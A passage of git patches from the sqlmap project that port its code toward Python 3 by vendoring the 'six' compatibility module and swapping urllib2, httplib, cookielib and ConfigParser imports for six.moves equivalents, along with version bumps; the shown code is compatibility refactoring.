"urllib.request"), - MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"), - MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"), - MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"), - MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"), - MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"), - MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"), - MovedAttribute("HTTPHandler", "urllib2", "urllib.request"), - MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"), - MovedAttribute("FileHandler", "urllib2", "urllib.request"), - MovedAttribute("FTPHandler", "urllib2", "urllib.request"), - MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"), - MovedAttribute("UnknownHandler", "urllib2", "urllib.request"), - MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), - MovedAttribute("urlretrieve", "urllib", "urllib.request"), - MovedAttribute("urlcleanup", "urllib", "urllib.request"), - MovedAttribute("URLopener", "urllib", "urllib.request"), - MovedAttribute("FancyURLopener", "urllib", "urllib.request"), - MovedAttribute("proxy_bypass", "urllib", "urllib.request"), - MovedAttribute("parse_http_list", "urllib2", "urllib.request"), - MovedAttribute("parse_keqv_list", "urllib2", "urllib.request"), -] -for attr in _urllib_request_moved_attributes: - setattr(Module_six_moves_urllib_request, attr.name, attr) -del attr - -Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes - -_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"), - "moves.urllib_request", "moves.urllib.request") - - -class Module_six_moves_urllib_response(_LazyModule): - - """Lazy loading of moved objects in six.moves.urllib_response""" - - -_urllib_response_moved_attributes = [ - MovedAttribute("addbase", "urllib", "urllib.response"), - MovedAttribute("addclosehook", "urllib", "urllib.response"), - MovedAttribute("addinfo", "urllib", "urllib.response"), - MovedAttribute("addinfourl", "urllib", "urllib.response"), -] -for attr in _urllib_response_moved_attributes: - setattr(Module_six_moves_urllib_response, attr.name, attr) -del attr - -Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes - -_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"), - "moves.urllib_response", "moves.urllib.response") - - -class Module_six_moves_urllib_robotparser(_LazyModule): - - """Lazy loading of moved objects in six.moves.urllib_robotparser""" - - -_urllib_robotparser_moved_attributes = [ - MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"), -] -for attr in _urllib_robotparser_moved_attributes: - setattr(Module_six_moves_urllib_robotparser, attr.name, attr) -del attr - -Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes - -_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"), - "moves.urllib_robotparser", "moves.urllib.robotparser") - - -class Module_six_moves_urllib(types.ModuleType): - - """Create a six.moves.urllib namespace that resembles the Python 3 namespace""" - __path__ = [] # mark as package - parse = _importer._get_module("moves.urllib_parse") - error = _importer._get_module("moves.urllib_error") - request = _importer._get_module("moves.urllib_request") - response = _importer._get_module("moves.urllib_response") - robotparser = _importer._get_module("moves.urllib_robotparser") - - def __dir__(self): - return ['parse', 'error', 'request', 'response', 'robotparser'] - -_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"), - "moves.urllib") - - -def add_move(move): - """Add an item to six.moves.""" - setattr(_MovedItems, move.name, move) - - -def remove_move(name): - """Remove item from six.moves.""" - try: - delattr(_MovedItems, name) - except AttributeError: - try: - del moves.__dict__[name] - except KeyError: - raise AttributeError("no such move, %r" % (name,)) - - -if PY3: - _meth_func = "__func__" - _meth_self = "__self__" - - _func_closure = "__closure__" - _func_code = "__code__" - _func_defaults = "__defaults__" - _func_globals = "__globals__" -else: - _meth_func = "im_func" - _meth_self = "im_self" - - _func_closure = "func_closure" - _func_code = "func_code" - _func_defaults = "func_defaults" - _func_globals = "func_globals" - - -try: - advance_iterator = next -except NameError: - def advance_iterator(it): - return it.next() -next = advance_iterator - - -try: - callable = callable -except NameError: - def callable(obj): - return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) - - -if PY3: - def get_unbound_function(unbound): - return unbound - - create_bound_method = types.MethodType - - def create_unbound_method(func, cls): - return func - - Iterator = object -else: - def get_unbound_function(unbound): - return unbound.im_func - - def create_bound_method(func, obj): - return types.MethodType(func, obj, obj.__class__) - - def create_unbound_method(func, cls): - return types.MethodType(func, None, cls) - - class Iterator(object): - - def next(self): - return type(self).__next__(self) - - callable = callable -_add_doc(get_unbound_function, - """Get the function out of a possibly unbound function""") - - -get_method_function = operator.attrgetter(_meth_func) -get_method_self = operator.attrgetter(_meth_self) -get_function_closure = operator.attrgetter(_func_closure) -get_function_code = operator.attrgetter(_func_code) -get_function_defaults = operator.attrgetter(_func_defaults) -get_function_globals = operator.attrgetter(_func_globals) - - -if PY3: - def iterkeys(d, **kw): - return iter(d.keys(**kw)) - - def itervalues(d, **kw): - return iter(d.values(**kw)) - - def iteritems(d, **kw): - return iter(d.items(**kw)) - - def iterlists(d, **kw): - return iter(d.lists(**kw)) - - viewkeys = operator.methodcaller("keys") - - viewvalues = operator.methodcaller("values") - - viewitems = operator.methodcaller("items") -else: - def iterkeys(d, **kw): - return d.iterkeys(**kw) - - def itervalues(d, **kw): - return d.itervalues(**kw) - - def iteritems(d, **kw): - return d.iteritems(**kw) - - def iterlists(d, **kw): - return d.iterlists(**kw) - - viewkeys = operator.methodcaller("viewkeys") - - viewvalues = operator.methodcaller("viewvalues") - - viewitems = operator.methodcaller("viewitems") - -_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.") -_add_doc(itervalues, "Return an iterator over the values of a dictionary.") -_add_doc(iteritems, - "Return an iterator over the (key, value) pairs of a dictionary.") -_add_doc(iterlists, - "Return an iterator over the (key, [values]) pairs of a dictionary.") - - -if PY3: - def b(s): - return s.encode("latin-1") - - def u(s): - return s - unichr = chr - import struct - int2byte = struct.Struct(">B").pack - del struct - byte2int = operator.itemgetter(0) - indexbytes = operator.getitem - iterbytes = iter - import io - StringIO = io.StringIO - BytesIO = io.BytesIO - _assertCountEqual = "assertCountEqual" - if sys.version_info[1] <= 1: - _assertRaisesRegex = "assertRaisesRegexp" - _assertRegex = "assertRegexpMatches" - else: - _assertRaisesRegex = "assertRaisesRegex" - _assertRegex = "assertRegex" -else: - def b(s): - return s - # Workaround for standalone backslash - - def u(s): - return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape") - unichr = unichr - int2byte = chr - - def byte2int(bs): - return ord(bs[0]) - - def indexbytes(buf, i): - return ord(buf[i]) - iterbytes = functools.partial(itertools.imap, ord) - import StringIO - StringIO = BytesIO = StringIO.StringIO - _assertCountEqual = "assertItemsEqual" - _assertRaisesRegex = "assertRaisesRegexp" - _assertRegex = "assertRegexpMatches" -_add_doc(b, """Byte literal""") -_add_doc(u, """Text literal""") - - -def assertCountEqual(self, *args, **kwargs): - return getattr(self, _assertCountEqual)(*args, **kwargs) - - -def assertRaisesRegex(self, *args, **kwargs): - return getattr(self, _assertRaisesRegex)(*args, **kwargs) - - -def assertRegex(self, *args, **kwargs): - return getattr(self, _assertRegex)(*args, **kwargs) - - -if PY3: - exec_ = getattr(moves.builtins, "exec") - - def reraise(tp, value, tb=None): - try: - if value is None: - value = tp() - if value.__traceback__ is not tb: - raise value.with_traceback(tb) - raise value - finally: - value = None - tb = None - -else: - def exec_(_code_, _globs_=None, _locs_=None): - """Execute code in a namespace.""" - if _globs_ is None: - frame = sys._getframe(1) - _globs_ = frame.f_globals - if _locs_ is None: - _locs_ = frame.f_locals - del frame - elif _locs_ is None: - _locs_ = _globs_ - exec("""exec _code_ in _globs_, _locs_""") - - exec_("""def reraise(tp, value, tb=None): - try: - raise tp, value, tb - finally: - tb = None -""") - - -if sys.version_info[:2] == (3, 2): - exec_("""def raise_from(value, from_value): - try: - if from_value is None: - raise value - raise value from from_value - finally: - value = None -""") -elif sys.version_info[:2] > (3, 2): - exec_("""def raise_from(value, from_value): - try: - raise value from from_value - finally: - value = None -""") -else: - def raise_from(value, from_value): - raise value - - -print_ = getattr(moves.builtins, "print", None) -if print_ is None: - def print_(*args, **kwargs): - """The new-style print function for Python 2.4 and 2.5.""" - fp = kwargs.pop("file", sys.stdout) - if fp is None: - return - - def write(data): - if not isinstance(data, basestring): - data = str(data) - # If the file has an encoding, encode unicode with it. - if (isinstance(fp, file) and - isinstance(data, unicode) and - fp.encoding is not None): - errors = getattr(fp, "errors", None) - if errors is None: - errors = "strict" - data = data.encode(fp.encoding, errors) - fp.write(data) - want_unicode = False - sep = kwargs.pop("sep", None) - if sep is not None: - if isinstance(sep, unicode): - want_unicode = True - elif not isinstance(sep, str): - raise TypeError("sep must be None or a string") - end = kwargs.pop("end", None) - if end is not None: - if isinstance(end, unicode): - want_unicode = True - elif not isinstance(end, str): - raise TypeError("end must be None or a string") - if kwargs: - raise TypeError("invalid keyword arguments to print()") - if not want_unicode: - for arg in args: - if isinstance(arg, unicode): - want_unicode = True - break - if want_unicode: - newline = unicode("\n") - space = unicode(" ") - else: - newline = "\n" - space = " " - if sep is None: - sep = space - if end is None: - end = newline - for i, arg in enumerate(args): - if i: - write(sep) - write(arg) - write(end) -if sys.version_info[:2] < (3, 3): - _print = print_ - - def print_(*args, **kwargs): - fp = kwargs.get("file", sys.stdout) - flush = kwargs.pop("flush", False) - _print(*args, **kwargs) - if flush and fp is not None: - fp.flush() - -_add_doc(reraise, """Reraise an exception.""") - -if sys.version_info[0:2] < (3, 4): - def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, - updated=functools.WRAPPER_UPDATES): - def wrapper(f): - f = functools.wraps(wrapped, assigned, updated)(f) - f.__wrapped__ = wrapped - return f - return wrapper -else: - wraps = functools.wraps - - -def with_metaclass(meta, *bases): - """Create a base class with a metaclass.""" - # This requires a bit of explanation: the basic idea is to make a dummy - # metaclass for one level of class instantiation that replaces itself with - # the actual metaclass. - class metaclass(type): - - def __new__(cls, name, this_bases, d): - return meta(name, bases, d) - - @classmethod - def __prepare__(cls, name, this_bases): - return meta.__prepare__(name, bases) - return type.__new__(metaclass, 'temporary_class', (), {}) - - -def add_metaclass(metaclass): - """Class decorator for creating a class with a metaclass.""" - def wrapper(cls): - orig_vars = cls.__dict__.copy() - slots = orig_vars.get('__slots__') - if slots is not None: - if isinstance(slots, str): - slots = [slots] - for slots_var in slots: - orig_vars.pop(slots_var) - orig_vars.pop('__dict__', None) - orig_vars.pop('__weakref__', None) - if hasattr(cls, '__qualname__'): - orig_vars['__qualname__'] = cls.__qualname__ - return metaclass(cls.__name__, cls.__bases__, orig_vars) - return wrapper - - -def ensure_binary(s, encoding='utf-8', errors='strict'): - """Coerce **s** to six.binary_type. - - For Python 2: - - `unicode` -> encoded to `str` - - `str` -> `str` - - For Python 3: - - `str` -> encoded to `bytes` - - `bytes` -> `bytes` - """ - if isinstance(s, text_type): - return s.encode(encoding, errors) - elif isinstance(s, binary_type): - return s - else: - raise TypeError("not expecting type '%s'" % type(s)) - - -def ensure_str(s, encoding='utf-8', errors='strict'): - """Coerce *s* to `str`. - - For Python 2: - - `unicode` -> encoded to `str` - - `str` -> `str` - - For Python 3: - - `str` -> `str` - - `bytes` -> decoded to `str` - """ - if not isinstance(s, (text_type, binary_type)): - raise TypeError("not expecting type '%s'" % type(s)) - if PY2 and isinstance(s, text_type): - s = s.encode(encoding, errors) - elif PY3 and isinstance(s, binary_type): - s = s.decode(encoding, errors) - return s - - -def ensure_text(s, encoding='utf-8', errors='strict'): - """Coerce *s* to six.text_type. - - For Python 2: - - `unicode` -> `unicode` - - `str` -> `unicode` - - For Python 3: - - `str` -> `str` - - `bytes` -> decoded to `str` - """ - if isinstance(s, binary_type): - return s.decode(encoding, errors) - elif isinstance(s, text_type): - return s - else: - raise TypeError("not expecting type '%s'" % type(s)) - - - -def python_2_unicode_compatible(klass): - """ - A decorator that defines __unicode__ and __str__ methods under Python 2. - Under Python 3 it does nothing. - - To support Python 2 and 3 with a single code base, define a __str__ method - returning text and apply this decorator to the class. - """ - if PY2: - if '__str__' not in klass.__dict__: - raise ValueError("@python_2_unicode_compatible cannot be applied " - "to %s because it doesn't define __str__()." % - klass.__name__) - klass.__unicode__ = klass.__str__ - klass.__str__ = lambda self: self.__unicode__().encode('utf-8') - return klass - - -# Complete the moves implementation. -# This code is at the end of this module to speed up module loading. -# Turn this module into a package. -__path__ = [] # required for PEP 302 and PEP 451 -__package__ = __name__ # see PEP 366 @ReservedAssignment -if globals().get("__spec__") is not None: - __spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable -# Remove other six meta path importers, since they cause problems. This can -# happen if six is removed from sys.modules and then reloaded. (Setuptools does -# this for some reason.) -if sys.meta_path: - for i, importer in enumerate(sys.meta_path): - # Here's some real nastiness: Another "instance" of the six module might - # be floating around. Therefore, we can't use isinstance() to check for - # the six meta path importer, since the other six instance will have - # inserted an importer with different class. - if (type(importer).__name__ == "_SixMetaPathImporter" and - importer.name == __name__): - del sys.meta_path[i] - break - del i, importer -# Finally, add the importer to the meta path import hook. -sys.meta_path.append(_importer) From b5c82c46858f56848d06c7d40b3dcf2c58f5d951 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 02:55:44 +0100 Subject: [PATCH 179/800] Another 'six' update --- lib/core/common.py | 37 ++++++++++++++++++------------------- lib/core/settings.py | 2 +- 2 files changed, 19 insertions(+), 20 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 4aa3133d96e..bf8f48b2d94 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -33,8 +33,6 @@ import time import types import urllib -import urllib2 -import urlparse import unicodedata from ConfigParser import DEFAULTSECT @@ -178,6 +176,7 @@ from thirdparty.colorama.initialise import init as coloramainit from thirdparty.magic import magic from thirdparty.odict import OrderedDict +from thirdparty.six.moves import urllib as _urllib from thirdparty.termcolor.termcolor import colored class UnicodeRawConfigParser(RawConfigParser): @@ -1467,7 +1466,7 @@ def parseTargetUrl(): conf.url = conf.url.replace('?', URI_QUESTION_MARKER) try: - urlSplit = urlparse.urlsplit(conf.url) + urlSplit = _urllib.parse.urlsplit(conf.url) except ValueError as ex: errMsg = "invalid URL '%s' has been given ('%s'). " % (conf.url, getSafeExString(ex)) errMsg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') " @@ -2653,7 +2652,7 @@ def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CH pass finally: if convall: - result = urllib.unquote_plus(value) if spaceplus else urllib.unquote(value) + result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value) else: def _(match): charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable) @@ -2661,7 +2660,7 @@ def _(match): return char if char in charset else match.group(0) result = value if spaceplus: - result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case) + result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case) result = re.sub(r"%([0-9a-fA-F]{2})", _, result) if isinstance(result, str): @@ -2700,7 +2699,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value) while True: - result = urllib.quote(utf8encode(value), safe) + result = _urllib.parse.quote(utf8encode(value), safe) if limit and len(result) > URLENCODE_CHAR_LIMIT: if count >= len(URLENCODE_FAILSAFE_CHARS): @@ -2715,7 +2714,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): break if spaceplus: - result = result.replace(urllib.quote(' '), '+') + result = result.replace(_urllib.parse.quote(' '), '+') return result @@ -3442,10 +3441,10 @@ def getLatestRevision(): """ retVal = None - req = urllib2.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py") + req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py") try: - content = urllib2.urlopen(req).read() + content = _urllib.request.urlopen(req).read() retVal = extractRegexResult(r"VERSION\s*=\s*[\"'](?P<result>[\d.]+)", content) except: pass @@ -3485,10 +3484,10 @@ def createGithubIssue(errMsg, excMsg): ex = None errMsg = errMsg[errMsg.find("\n"):] - req = urllib2.Request(url="https://api.github.com/search/issues?q=%s" % urllib.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key)) + req = _urllib.request.Request(url="https://api.github.com/search/issues?q=%s" % _urllib.parse.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key)) try: - content = urllib2.urlopen(req).read() + content = _urllib.request.urlopen(req).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" @@ -3503,10 +3502,10 @@ def createGithubIssue(errMsg, excMsg): pass data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} - req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")}) + req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")}) try: - content = urllib2.urlopen(req).read() + content = _urllib.request.urlopen(req).read() except Exception as ex: content = None @@ -4018,7 +4017,7 @@ def asciifyUrl(url, forceQuote=False): u'http://www.xn--uuraj-gxa24d.com' """ - parts = urlparse.urlsplit(url) + parts = _urllib.parse.urlsplit(url) if not parts.scheme or not parts.netloc: # apparently not an url return url @@ -4039,10 +4038,10 @@ def asciifyUrl(url, forceQuote=False): def quote(s, safe): s = s or '' # Triggers on non-ascii characters - another option would be: - # urllib.quote(s.replace('%', '')) != s.replace('%', '') + # _urllib.parse.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". if getUnicode(s).encode("ascii", "replace") != s or forceQuote: - return urllib.quote(s.encode(UNICODE_ENCODING) if isinstance(s, unicode) else s, safe=safe) + return _urllib.parse.quote(s.encode(UNICODE_ENCODING) if isinstance(s, unicode) else s, safe=safe) return s username = quote(parts.username, '') @@ -4066,7 +4065,7 @@ def quote(s, safe): if port: netloc += ':' + str(port) - return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url + return _urllib.parse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url def isAdminFromPrivileges(privileges): """ @@ -4224,7 +4223,7 @@ def _(value): value = "http://%s" % value return value - return all(re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:]) + return all(re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:]) def getHostHeader(url): """ @@ -4237,7 +4236,7 @@ def getHostHeader(url): retVal = url if url: - retVal = urlparse.urlparse(url).netloc + retVal = _urllib.parse.urlparse(url).netloc if re.search(r"http(s)?://\[.+\]", url, re.I): retVal = extractRegexResult(r"http(s)?://\[(?P<result>.+)\]", url) diff --git a/lib/core/settings.py b/lib/core/settings.py index e3d110de5e4..40a2d00f1ad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.54" +VERSION = "1.3.3.55" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2dbd0267a16d89ac4461428c352ae724b1e251b8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 03:05:53 +0100 Subject: [PATCH 180/800] Minor update --- lib/core/common.py | 8 +++----- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index bf8f48b2d94..eb6c3abc07a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -32,11 +32,8 @@ import threading import time import types -import urllib import unicodedata -from ConfigParser import DEFAULTSECT -from ConfigParser import RawConfigParser from difflib import SequenceMatcher from math import sqrt from optparse import OptionValueError @@ -176,10 +173,11 @@ from thirdparty.colorama.initialise import init as coloramainit from thirdparty.magic import magic from thirdparty.odict import OrderedDict +from thirdparty.six.moves import configparser as _configparser from thirdparty.six.moves import urllib as _urllib from thirdparty.termcolor.termcolor import colored -class UnicodeRawConfigParser(RawConfigParser): +class UnicodeRawConfigParser(_configparser.RawConfigParser): """ RawConfigParser with unicode writing support """ @@ -190,7 +188,7 @@ def write(self, fp): """ if self._defaults: - fp.write("[%s]\n" % DEFAULTSECT) + fp.write("[%s]\n" % _configparser.DEFAULTSECT) for (key, value) in self._defaults.items(): fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t'))) diff --git a/lib/core/settings.py b/lib/core/settings.py index 40a2d00f1ad..2b1cb469ba6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.55" +VERSION = "1.3.3.56" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2f5301468520881f8f0e3a0da69f83ac979daa1e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 13:33:46 +0100 Subject: [PATCH 181/800] God help us all with this Python3 non-sense --- lib/controller/checks.py | 6 ++-- lib/core/common.py | 6 ++-- lib/core/dicts.py | 44 ----------------------------- lib/core/option.py | 42 +++++++++++++-------------- lib/core/patch.py | 4 +-- lib/core/settings.py | 2 +- lib/core/target.py | 4 +-- lib/core/threads.py | 3 +- lib/parse/sitemap.py | 4 +-- lib/request/basicauthhandler.py | 10 +++---- lib/request/chunkedhandler.py | 26 ++++++++--------- lib/request/connect.py | 5 ++-- lib/request/httpshandler.py | 20 ++++++------- lib/request/methodrequest.py | 8 +++--- lib/request/pkihandler.py | 11 ++++---- lib/request/rangehandler.py | 28 ++---------------- lib/request/redirecthandler.py | 15 +++++----- lib/takeover/web.py | 8 +++--- lib/utils/api.py | 10 +++---- lib/utils/crawler.py | 10 +++---- lib/utils/har.py | 5 ++-- lib/utils/search.py | 31 ++++++++++---------- thirdparty/clientform/clientform.py | 17 ++--------- 23 files changed, 118 insertions(+), 201 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 2ba006e1979..26eeaa8552a 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -6,7 +6,6 @@ """ import copy -import httplib import logging import os import random @@ -106,6 +105,7 @@ from lib.request.templates import getPageTemplate from lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion +from thirdparty.six.moves import http_client as _http_client def checkSqlInjection(place, parameter, value): # Store here the details about boundaries and payload used to @@ -1337,7 +1337,7 @@ def checkWaf(): if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline, conf.skipWaf)): return None - if kb.originalCode == httplib.NOT_FOUND: + if kb.originalCode == _http_client.NOT_FOUND: return None _ = hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_RESULT, True) @@ -1623,7 +1623,7 @@ def checkConnection(suppressOutput=False): warnMsg += "any addressing issues" singleTimeWarnMessage(warnMsg) - if any(code in kb.httpErrorCodes for code in (httplib.NOT_FOUND, )): + if any(code in kb.httpErrorCodes for code in (_http_client.NOT_FOUND, )): errMsg = getSafeExString(ex) logger.critical(errMsg) diff --git a/lib/core/common.py b/lib/core/common.py index eb6c3abc07a..0c00d1cc0b1 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -61,7 +61,6 @@ from lib.core.dicts import DBMS_DICT from lib.core.dicts import DEFAULT_DOC_ROOTS from lib.core.dicts import DEPRECATED_OPTIONS -from lib.core.dicts import HTTP_RESPONSES from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CONTENT_STATUS @@ -174,6 +173,7 @@ from thirdparty.magic import magic from thirdparty.odict import OrderedDict from thirdparty.six.moves import configparser as _configparser +from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib from thirdparty.termcolor.termcolor import colored @@ -3301,9 +3301,9 @@ def showHttpErrorCodes(): if kb.httpErrorCodes: warnMsg = "HTTP error codes detected during run:\n" - warnMsg += ", ".join("%d (%s) - %d times" % (code, HTTP_RESPONSES[code] if code in HTTP_RESPONSES else '?', count) for code, count in kb.httpErrorCodes.items()) + warnMsg += ", ".join("%d (%s) - %d times" % (code, _http_client.responses[code] if code in _http_client.responses else '?', count) for code, count in kb.httpErrorCodes.items()) logger.warn(warnMsg) - if any((str(_).startswith('4') or str(_).startswith('5')) and _ != 500 and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()): + if any((str(_).startswith('4') or str(_).startswith('5')) and _ != _http_client.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()): msg = "too many 4xx and/or 5xx HTTP error codes " msg += "could mean that some kind of protection is involved (e.g. WAF)" logger.debug(msg) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 4019ef75cdf..18c28d72269 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -330,47 +330,3 @@ "osCmd": CONTENT_TYPE.OS_CMD, "regRead": CONTENT_TYPE.REG_READ } - -HTTP_RESPONSES = { - 200: "OK", - 201: "Created", - 202: "Accepted", - 203: "Non-Authoritative Information", - 204: "No Content", - 205: "Reset Content", - 206: "Partial Content", - 100: "Continue", - 101: "Switching Protocols", - 300: "Multiple Choices", - 301: "Moved Permanently", - 302: "Found", - 303: "See Other", - 304: "Not Modified", - 305: "Use Proxy", - 306: "(Unused)", - 307: "Temporary Redirect", - 400: "Bad Request", - 401: "Unauthorized", - 402: "Payment Required", - 403: "Forbidden", - 404: "Not Found", - 405: "Method Not Allowed", - 406: "Not Acceptable", - 407: "Proxy Authentication Required", - 408: "Request Timeout", - 409: "Conflict", - 410: "Gone", - 411: "Length Required", - 412: "Precondition Failed", - 413: "Request Entity Too Large", - 414: "Request-URI Too Long", - 415: "Unsupported Media Type", - 416: "Requested Range Not Satisfiable", - 417: "Expectation Failed", - 500: "Internal Server Error", - 501: "Not Implemented", - 502: "Bad Gateway", - 503: "Service Unavailable", - 504: "Gateway Timeout", - 505: "HTTP Version Not Supported" -} diff --git a/lib/core/option.py b/lib/core/option.py index e804d02d3f9..d1abc91428e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -5,9 +5,7 @@ See the file 'LICENSE' for copying permission """ -import cookielib import glob -import httplib import inspect import logging import os @@ -19,7 +17,6 @@ import threading import time import urllib2 -import urlparse import lib.controller.checks import lib.core.common @@ -153,14 +150,17 @@ from thirdparty.keepalive import keepalive from thirdparty.multipart import multipartpost from thirdparty.oset.pyoset import oset +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import http_cookiejar as _http_cookiejar +from thirdparty.six.moves import urllib as _urllib from thirdparty.socks import socks from xml.etree.ElementTree import ElementTree -authHandler = urllib2.BaseHandler() +authHandler = _urllib.request.BaseHandler() chunkedHandler = ChunkedHandler() httpsHandler = HTTPSHandler() keepAliveHandler = keepalive.HTTPHandler() -proxyHandler = urllib2.ProxyHandler() +proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() multipartPostHandler = multipartpost.MultipartPostHandler() @@ -1053,7 +1053,7 @@ def _setHTTPHandlers(): logger.debug(debugMsg) try: - _ = urlparse.urlsplit(conf.proxy) + _ = _urllib.parse.urlsplit(conf.proxy) except Exception as ex: errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) @@ -1090,9 +1090,9 @@ def _setHTTPHandlers(): proxyHandler.proxies = {} socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) - socks.wrapmodule(urllib2) + socks.wrapmodule(_http_client) else: - socks.unwrapmodule(urllib2) + socks.unwrapmodule(_http_client) if conf.proxyCred: # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection @@ -1112,12 +1112,12 @@ def _setHTTPHandlers(): if not conf.dropSetCookie: if not conf.loadCookies: - conf.cj = cookielib.CookieJar() + conf.cj = _http_cookiejar.CookieJar() else: - conf.cj = cookielib.MozillaCookieJar() + conf.cj = _http_cookiejar.MozillaCookieJar() resetCookieJar(conf.cj) - handlers.append(urllib2.HTTPCookieProcessor(conf.cj)) + handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) # Reference: 